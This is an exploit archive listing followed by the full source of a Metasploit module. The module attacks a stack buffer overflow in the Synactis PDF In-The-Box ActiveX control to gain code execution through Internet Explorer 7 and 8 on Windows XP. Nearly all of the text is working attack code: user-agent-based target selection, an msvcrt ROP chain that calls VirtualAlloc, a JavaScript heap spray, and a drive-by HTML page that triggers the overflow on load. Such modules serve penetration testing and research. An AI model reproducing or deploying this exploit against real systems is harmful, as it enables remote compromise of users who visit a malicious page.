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Synactis PDF In-The-Box ConnectToSynactic Stack Buffer Overflow

Synactis PDF In-The-Box ConnectToSynactic Stack Buffer Overflow
Posted Jun 10, 2013
Authored by sinn3r, h1ch4m | Site metasploit.com

This Metasploit module exploits a vulnerability found in Synactis' PDF In-The-Box ActiveX component, specifically PDF_IN_1.ocx. When a long string of data is given to the ConnectToSynactis function, which is meant to be used for the ldCmdLine argument of a WinExec call, a strcpy routine can end up overwriting a TRegistry class pointer saved on the stack, and results in arbitrary code execution under the context of the user. Also note that since the WinExec function is used to call the default browser, you must be aware that: 1) The default must be Internet Explorer, and 2) When the exploit runs, another browser will pop up. Synactis PDF In-The-Box is also used by other software such as Logic Print 2013, which is how the vulnerability was found and publicly disclosed.

tags | exploit, arbitrary, code execution, activex
advisories | OSVDB-93754
SHA-256 | 717b46a540961e751ccf7b61962579a6966ed5098437c588fd29d0ce3364ac7b

Synactis PDF In-The-Box ConnectToSynactic Stack Buffer Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
include Msf::Exploit::Remote::BrowserAutopwn

autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "7.0",
:ua_maxver => "8.0",
:javascript => true,
:classid => "{C80CAF1F-C58E-11D5-A093-006097ED77E6}",
:method => "ConnectToSynactis",
:os_name => OperatingSystems::WINDOWS,
:rank => AverageRanking
})

def initialize(info={})
super(update_info(info,
'Name' => "Synactis PDF In-The-Box ConnectToSynactic Stack Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability found in Synactis' PDF In-The-Box ActiveX
component, specifically PDF_IN_1.ocx. When a long string of data is given
to the ConnectToSynactis function, which is meant to be used for the ldCmdLine
argument of a WinExec call, a strcpy routine can end up overwriting a TRegistry
class pointer saved on the stack, and results in arbitrary code execution under the
context of the user.

Also note that since the WinExec function is used to call the default browser,
you must be aware that: 1) The default must be Internet Explorer, and 2) When the
exploit runs, another browser will pop up.

Synactis PDF In-The-Box is also used by other software such as Logic Print 2013,
which is how the vulnerability was found and publicly disclosed.
},
'License' => MSF_LICENSE,
'Author' =>
[
'h1ch4m',
'sinn3r' #Metasploit
],
'References' =>
[
[ 'OSVDB', '93754' ],
[ 'EDB', '25835' ]
],
'Platform' => 'win',
'Targets' =>
[
# Newer setups like Win + IE8: "Object doesn't support this property or method"
[ 'Automatic', {} ],
[
'IE 7 on Windows XP SP3', {'Eax' => 0x0c0c0c0c}
],
[
# 0x20302020 = Where the heap spray will land
# 0x77c15ed5 = xchg eax,esp; rcr dword ptr [esi-75], 0c1h, pop ebp; ret 4
'IE 8 on Windows XP SP3',
{ 'Rop' => :msvcrt, 'Pivot' => 0x77C218D3, 'Ecx' => 0x20302024, 'Eax' => 0x20302028 }
]
],
'Payload' =>
{
'BadChars' => "\x00",
'StackAdjustment' => -3500
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Privileged' => false,
'DisclosureDate' => "May 30 2013",
'DefaultTarget' => 0))
end

def get_target(agent)
return target if target.name != 'Automatic'

nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

ie_name = "IE #{ie}"

case nt
when '5.1'
os_name = 'Windows XP SP3'
end

targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
return t
end
end

return nil
end

def get_payload(t, cli)
code = payload.encoded

case t['Rop']
when :msvcrt
print_status("Using msvcrt ROP")
align = "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
# Must be null-byte-free for the spray
chain =
[
t['Pivot'],
0x41414141,
t['Ecx'], # To ECX
0x77c1e844, # POP EBP # RETN [msvcrt.dll]
0x41414141,
0x77c1e844, # skip 4 bytes [msvcrt.dll]
0x77c4fa1c, # POP EBX # RETN [msvcrt.dll]
0xffffffff,
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
0x77c4e0da, # POP EAX # RETN [msvcrt.dll]
0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
0x77c34fcd, # POP EAX # RETN [msvcrt.dll]
0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
0x77c3048a, # POP EDI # RETN [msvcrt.dll]
0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
0x77c46efb, # POP ESI # RETN [msvcrt.dll]
0x77c2aacc, # JMP [EAX] [msvcrt.dll]
0x77c3b860, # POP EAX # RETN [msvcrt.dll]
0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]
0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll]
].pack("V*")

p = chain + align + code

else
p = "\x0c" * 50 + code
end

p
end

def get_html(cli, req, target)
js_p = ::Rex::Text.to_unescape(get_payload(target, cli), ::Rex::Arch.endian(target.arch))
eax = "\\x" + [target['Eax']].pack("V*").unpack("H*")[0].scan(/../) * "\\x"

html = %Q|
<html>
<head>
<script>
#{js_property_spray}

function r()
{
var s = unescape("#{js_p}");
sprayHeap({shellcode:s});

var p1 = '';
var p2 = '';
eax = "#{eax}";

while (p1.length < 189) p1 += "\\x0c";
while (p2.length < 7000) p2 += "\\x0c";

var obj = document.getElementById("obj");
obj.ConnectToSynactis(p1+eax+p2);
}
</script>
</head>
<body OnLoad="r();">
<OBJECT classid="clsid:C80CAF1F-C58E-11D5-A093-006097ED77E6" id="obj"></OBJECT>
</body>
</html>
|

html.gsub(/^\t\t/, '')
end

def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")

target = get_target(agent)
if target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end

print_status("Target selected as: #{target.name}")
send_response(cli, get_html(cli, request, target), {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
end
end
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